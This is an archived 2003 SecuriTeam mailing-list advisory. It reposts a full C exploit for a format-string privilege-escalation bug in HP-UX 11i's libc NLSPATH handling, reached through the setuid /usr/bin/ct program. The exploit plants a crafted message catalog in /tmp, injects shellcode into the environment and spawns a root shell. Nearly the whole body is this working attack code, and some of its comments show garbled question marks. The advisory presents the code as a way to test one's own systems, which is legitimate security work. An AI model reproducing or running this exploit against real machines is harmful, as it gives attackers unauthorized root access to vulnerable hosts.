[EXPL] HP-UX libc NLSPATH Environment Variable Privilege Elevation (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/18/03

  • Next message: SecuriTeam: "[NEWS] Cisco FWSM Multiple Vulnerabilities" 
    To: list@securiteam.com
Date: 18 Dec 2003 14:06:53 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      HP-UX libc NLSPATH Environment Variable Privilege Elevation (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/unixfocus/6Y00H1P8UW.html> HP-UX libc NLSPATH
    Environment Variable Privilege Elevation Vulnerability, a locally
    exploitable buffer overflow in the program allows local users to gain
    elevated privileges. The following exploit code can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /***********************************************************************
    * File : x_hp-ux11i_nls_ct.c
    * Usage : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
    * Purpose :
    * HP-UX??????????????/usr/bin/ct?????????????????root???
    * Get a local rootshell from /usr/bin/ct,using HP-UX location language
    format string bug.
    * Author : watercloud@xfocus.org
    * Date : 2003-1-4
    * Tested : On HP-UX B11.11 .
    * Note : Use as your risk!
    * Site : http://www.xfocus.org (EN)
    * http://www.xfocus.net (CN)
    ***********************************************************************/

    #include<stdio.h>

    #define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
    #define TERM "TERM=xterm"
    #define NLSPATH "NLSPATH=/tmp/.ex.cat"

    #define CMD "/usr/bin/ct abc_ "
    #define MSG "\$set 1\n1128 "
    #define PRT_ARG_NUM 2
    #define STACK_LEN 0x180

    #define ENV_BEGIN 0x40
    #define ENV_LEN 0x40
    #define LOW_STACK 0x210

    char buffer[512];
    char buff[72]=
      "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
      "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
      "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
      "/bin/shA";
    int * pint = (int *) &buff[56];
    unsigned int haddr = 0;
    unsigned int dstaddr = 0;

    int main(argc,argv,env)
    int argc;char ** argv;char **env;
    {
        unsigned int * pa = (unsigned int*)env;
        FILE * fp = NULL;
        int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36
    -PRT_ARG_NUM*4)/4;

        int alig1= ENV_BEGIN - xnum*8;
        int alig2=0;
        int i=0;

        while(*pa != NULL)
            *pa++=0;
        
        if(strlen(CMD) >ENV_BEGIN-3)
        {
            printf("No enough space to alig our env!\n");
            exit(1);
        }

            printf("Exploite for HP-UX 11i NLS format bug by command ct.\n");
            printf("From watercloud@xfocus.org. 2003-1-4\n");
            printf(" Site : http://www.xfocus.net (CN).\n");
            printf(" Site : http://www.xfocus.org (EN).\n");

        haddr = (unsigned int)&fp & 0xffff0000;
        if(alig1 < 0)
          alig1+=0x10000;
        alig2 = (haddr >> 16) - alig1 -xnum*8 ;
        if(alig2 < 0)
          alig2+=0x10000;

        dstaddr= haddr+ LOW_STACK + STACK_LEN -24;
        *pint++=dstaddr;
        *pint++=dstaddr;
        *pint++=dstaddr;
        *pint = 0;
        
        /* begin to make our .cat file */
        fp = fopen("/tmp/.ex.k","w");
        if(fp == NULL)
        {
          printf("open file : /tmp/.ex.k for write error.\n");
          exit(1);
        }
        fprintf(fp,"%s",MSG);
        for(;i<xnum;i++)
          fprintf(fp,"%%.8x");
        fprintf(fp,"%%.%ix%%n",alig1);
        fprintf(fp,"%%.%ix%%hn",alig2);
        fclose(fp);
        fp = NULL;
        system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
        unlink("/tmp/.ex.k");

        
    sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
        putenv(buffer);
        putenv(PATH);
        putenv(TERM);
        putenv(NLSPATH);
        
        printf("??????????(Remember to delete the file): /tmp/.ex.cat .\n");
        execl("/usr/bin/ct","/usr/bin/ct","abc_",0); /* ????? ?? */
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] Cisco FWSM Multiple Vulnerabilities"

    Relevant Pages